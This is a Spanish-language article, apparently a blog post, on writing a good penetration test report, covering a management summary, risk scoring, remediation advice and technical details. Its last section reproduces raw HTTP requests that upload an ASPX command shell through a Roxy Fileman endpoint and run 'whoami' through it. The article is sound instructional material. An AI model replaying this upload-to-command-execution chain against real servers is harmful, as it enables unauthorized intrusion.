¿Cómo debería ser un buen informe de prueba de penetración?

Un pentester experimentado, sabe que un informe bien escrito se caracteriza por el hecho de que después de su presentación el cliente no tiene ninguna pregunta adicional. Para ello, debe contener al menos cuatro secciones básicas con información para diferentes públicos.

Sección 1: Información general y estadísticas

Mientras que un programador para corregir errores puede necesitar todos los detalles técnicos, la administración puede no entender las tecnologías utilizadas y el vocabulario especializado. En su lugar, necesitan entender el riesgo empresarial. Es necesario que los líderes empresariales entiendan lo que está en juego para tomar decisiones informadas para sus empresas. Es necesario un resumen accesible de la información contenida en todo el informe para garantizar una correcta comprensión de los riesgos que se infundan. Además, la primera sección debe contener información formal, es decir, información sobre lo que se probó y con qué permisos, cuándo se probó, quién participó en las pruebas, en qué orden se llevaron a cabo las pruebas. La figura siguiente muestra tablas de ejemplo con esta información.

La comunicación visual también puede ser útil para transmitir claramente los errores de seguridad detectados. Utilice todo tipo de gráficos y elementos gráficos similares para ayudarle a visualizar datos masivos.

Al evaluar los riesgos, se debe seguir lo siguiente:

riesgo = peligro * probabilidad de ocurrencia * impacto en el negocio.

Donde un peligro es el riesgo general asociado con una vulnerabilidad particular. La probabilidad de ocurrencia significa lo difícil que es explotar un error de seguridad. El impacto en el negocio determina las pérdidas asociadas con el uso del error por parte del atacante. El siguiente gráfico proporciona una tabla que es útil para evaluar el riesgo de datos de vulnerabilidad. Por ejemplo, si la amenaza es alta y la vulnerabilidad es muy fácil de explotar ( vulnerabilidad ) – C y el impacto es promedio – Medio, obtenemos un total de 24 puntos, lo que significa que la vulnerabilidad tiene un riesgo promedio. Otra figura muestra cómo visualizar la cantidad de vulnerabilidades detectadas.

En función de su evaluación de riesgos, el destinatario del informe debe corregir primero los errores más críticos. Representan la mayor amenaza para las empresas y pueden resultar en altas pérdidas financieras.

Sección 2: Descripción de las vulnerabilidades detectadas

La mayoría de los informes de pruebas de penetración utilizan algún tipo de sistema de evaluación de riesgos, pero es raro tomarse el tiempo para explicar cuáles son los riesgos asociados con una vulnerabilidad determinada. El cliente debe tomar decisiones rápidas y precisas sobre los pasos a seguir después de ser informado de los errores de seguridad existentes. Esto a menudo implica la necesidad de un presupuesto adicional, que requiere la aprobación de funcionarios de alto nivel no técnicos.

Para facilitar las decisiones difíciles, describa las vulnerabilidades detectadas de una manera que muestre el impacto en su negocio. Por ejemplo, si se detecta una vulnerabilidad crítica que podría permitir que los archivos se transfieran al portal de atención médica, hay dos formas de informar de ella:

• Técnicamente preciso: la aplicación web de X no restringe la transferencia de archivos por tipo, lo que crea una vulnerabilidad que podría permitir a un atacante ejecutar código de forma remota y elevar los privilegios de la aplicación.
• Tanto precisa como contextual: la aplicación web de X no restringe la transferencia de archivos por tipo de archivo, lo que crea una vulnerabilidad que podría permitir a un atacante ejecutar de forma remota código no deseado y elevar sus privilegios en la aplicación. En este caso, un atacante podría ver los registros médicos de cualquier usuario y actuar como administrador en la aplicación.

La segunda vía tiene más peso, apuntando no solo a aspectos técnicos, sino también al impacto en los negocios. Los informes más valiosos son aquellos que atraen a todas las audiencias en un lenguaje que las personas, especialmente en posiciones de liderazgo, entienden.

Sección 3: Recomendaciones de reparación

Una de las cosas más importantes de las que depende el cliente que encarga pruebas de penetración es la posterior reparación de las vulnerabilidades de seguridad detectadas. Para que esto sea posible, se espera que el probador de penetración indique, además de describir las vulnerabilidades detectadas, cómo reparar o mitizar los riesgos asociados a los errores detectados. Esta sección está destinada principalmente a personas con formación técnica que están directamente relacionadas con el código de la aplicación, la configuración del servidor o la base de datos. Es útil agregar vínculos adicionales a fuentes externas que describen cómo corregir los errores de seguridad encontrados. En la ilustración siguiente se muestra un error que muestra información confidencial detallada. Estos datos a menudo incluyen información técnica, clases, métodos que causaron el error, la versión exacta del servidor o las rutas de acceso del sistema de aplicaciones y archivos de configuración.

A continuación se muestra una recomendación de ejemplo para un error que muestra información detallada del error.

Sección 4: Detalles técnicos de las vulnerabilidades

La última sección debe contener detalles técnicos de las vulnerabilidades encontradas. Es especialmente útil para los desarrolladores entender qué es un error y cómo reconstruir los pasos necesarios para realizarlo. Esto es especialmente útil si necesita localizar el origen del problema y, posteriormente, comprobar que el método de reparación es eficaz.

La siguiente es una descripción técnica detallada de la vulnerabilidad de cargar cualquier archivo en el servidor.

En el servidor en server/Content/Roxy_Fileman/ hay un visor de archivos que permite a los usuarios que han iniciado sesión con los permisos adecuados (cuenta de administrador probada) cargarlos también (incluidos los scripts que ejecutan comandos en el sistema):

Solicitar con la carga en el servidor un script ejecutando comandos en el sistema:

POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; x86_64 Linux; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://XXXXX/Content/Roxy_Fileman/
Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2
Conexión: cerrar
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=---------------------------13949612691104534433104770617
Content-Length: 1861
-----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="action"
upload -----------------------------13949612691104534433104770617

Content-Disposition: form-data; name="d" -----------------------------13949612691104534433104770617

Content-Disposition: form-data; name="files[]"; filename="cmdasp.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>


Respuesta del servidor con una respuesta de carga de script correcta:

POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; x86_64 Linux; rv:45.0) Gecko/20100101 Firefox/45.0
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNetMvc-Version: 5.1
X-AspNet-Version: 4.0.30319
Set-Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; expires=Fri, 09-Nov-2018 16:53:07 GMT; path=/; HttpOnly
X-Powered-By: ASP.NET
Fecha: Jue, 09 Nov 2017 16:53:07 GMT
Conexión: cerrar
Contenido-Duración: 60



Se puede acceder al recurso cargado sin autorización en server/media/uploaded/file name

Solicitud al servidor con el comando para ejecutar – whoami mostrando el usuario actual del sistema:

POST /media/uploaded/cmdasp.aspx HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; x86_64 Linux; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://XXXXX/media/uploaded/cmdasp.aspx
Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69;
XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D
Conexión: cerrar
Tipo de contenido: application/x-www-form-urlencoded
Content-Length: 290
[...]
EVENTVALIDATION=%2FwEdAANRWJmrTmf23QBZNDbQYsx5itssAmaVIY7AayhB9duwcnk2J
DuMxrvKtMBUSvskgfELw WmgNGW8Lr4a8NezI%2FkHrIsB
%2FLodYxPpo9ud%2FbHu4w%3D%3D&txtArg=whoami&testing=excute

Respuesta del servidor que confirma la ejecución del comando:

El mecanismo para cargar archivos se identifica en las siguientes direcciones:

• /Admin/Factura/FacturaEditar
• /Admin/Factura/InvoiceItemList
• /Admin/Newsletter/GroupSubscriptionsList
• /Admin/Newsletter/SubscriptionList
• /Content/Roxy_Fileman/index.html

Los errores de seguridad nunca se eliminarán por completo. Aparecen tanto en los productos de Microsoft, a pesar de la implementación del proceso de ciclo de vida de desarrollo de seguridad (que incluye varias pruebas de seguridad y auditorías de código fuente), como en el kernel de Linux.Se pueden encontrar tanto en proyectos de código abierto como en aquellos donde el código está cerrado. Un punto importante es que la falta de detección de susceptibilidad al realizar pruebas de penetración no es sinónimo de que no estén allí. Esto sólo significa que en un tiempo limitado y utilizando ciertos medios, conocimientos y experiencia, el pentester no pudo encontrarlos. Sin embargo, mirando los resultados de las pruebas de penetración, se pueden sacar conclusiones sobre la calidad de la aplicación, o lo que es más importante en el caso de errores descubiertos, averiguar qué riesgos conllevan.